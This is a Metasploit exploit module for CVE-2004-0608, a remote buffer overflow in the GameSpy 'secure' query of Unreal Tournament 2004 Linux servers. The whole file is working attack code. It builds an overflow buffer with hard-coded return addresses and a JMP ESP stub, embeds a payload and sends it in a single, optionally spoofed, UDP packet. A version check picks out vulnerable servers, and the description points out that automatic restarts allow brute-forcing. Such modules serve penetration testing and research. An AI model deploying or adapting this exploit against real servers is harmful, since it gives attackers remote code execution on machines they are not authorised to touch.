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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Msf::Exploit::Remote::Udp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Unreal Tournament 2004 "secure" Overflow (Linux)',
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      'Description'    => %q{
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          This is an exploit for the GameSpy secure query in
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        the Unreal Engine.
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        This exploit only requires one UDP packet, which can
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        be both spoofed and sent to a broadcast address.
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        Usually, the GameSpy query server listens on port 7787,
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        but you can manually specify the port as well.
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        The RunServer.sh script will automatically restart the
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        server upon a crash, giving us the ability to
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        bruteforce the service and exploit it multiple
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        times.
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      },
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      'Author'         => [ 'onetwo' ],
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      'License'        => BSD_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2004-0608'],
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          [ 'OSVDB', '7217'],
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          [ 'BID', '10570'],
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        ],
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      'Privileged'     => true,
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      'Payload'        =>
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        {
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          'Space'    => 512,
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          'BadChars' => "\x5c\x00",
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        },
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      'Platform'       => 'linux',
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      'Targets'        =>
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        [
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          ['UT2004 Linux Build 3120', { 'Rets' => [ 0x0884a33b, 0x08963460 ] }], #JMP ESP , (free/realloc) BSS pointer
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          ['UT2004 Linux Build 3186', { 'Rets' => [ 0x088c632f, 0x089eb2f0 ] }],
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        ],
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      'DisclosureDate' => '2004-06-18'))
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    register_options(
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      [
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        Opt::RPORT(7787)
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      ])
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  end
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  def exploit
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    connect_udp
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    buf = make_nops(1024)
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    buf[24, 4] = [target['Rets'][1]].pack('V')
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    buf[44, 4] = [target['Rets'][0]].pack('V')
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    buf[56, 4] = [target['Rets'][1]].pack('V')
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    buf[48, 6] = "\x8d\x64\x24\x0c\xff\xe4" #LEA/JMP
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    buf[0,  8] = "\\secure\\"
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    buf[buf.length - payload.encoded.length, payload.encoded.length] = payload.encoded
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    udp_sock.put(buf)
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    handler
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    disconnect_udp
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  end
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  def ut_version
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    connect_udp
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    udp_sock.put("\\basic\\")
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    res = udp_sock.recvfrom(8192)
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    disconnect_udp
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    if (res and (m=res.match(/\\gamever\\([0-9]{1,5})/)))
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      return m[1]
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    end
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    return
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  end
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  def check
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    vers = ut_version
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    if (not vers)
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      vprint_status("Could not detect Unreal Tournament Server")
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      return Exploit::CheckCode::Unknown
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    end
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    print_status("Detected Unreal Tournament Server Version: #{vers}")
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    if (vers =~ /^(3120|3186|3204)$/)
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      vprint_status("This system appears to be exploitable")
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      return Exploit::CheckCode::Appears
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    end
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    if (vers =~ /^(2...)$/)
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      vprint_status("This system appears to be running UT2003")
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      return Exploit::CheckCode::Detected
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    end
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    vprint_status("This system appears to be patched")
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    return Exploit::CheckCode::Safe
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  end
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end
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